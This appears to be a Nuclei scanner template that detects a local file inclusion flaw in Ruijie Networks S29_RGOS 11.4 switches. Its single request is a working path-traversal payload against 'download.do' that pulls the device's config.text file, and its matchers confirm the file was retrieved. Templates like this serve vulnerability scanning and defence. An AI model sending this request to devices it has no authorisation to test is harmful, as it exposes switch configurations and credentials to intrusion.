id: ruijie-networks-lfi

info:
  name: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Ruijie Networks Switch eWeb S29_RGOS 11.4 is vulnerable to local file inclusion and allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint.
  reference:
    - https://exploit-db.com/exploits/48755
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: ruijie,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.do?file=../../../../config.text"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'filename="config.text"'
          - "Content-Type: application/octet-stream"
        part: header

      - type: word
        words:
          - "version S29_RGOS 11.4"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022019bc0b51aecb86ed7db8203f0e8d42cf863b51cf5c91453979921e32a93e6980022100963b3437639037e50c74cb485bbb67f9bef0e07390fe97f1b5c329cf642d7c30:922c64590222798bb761d5b6d8e72950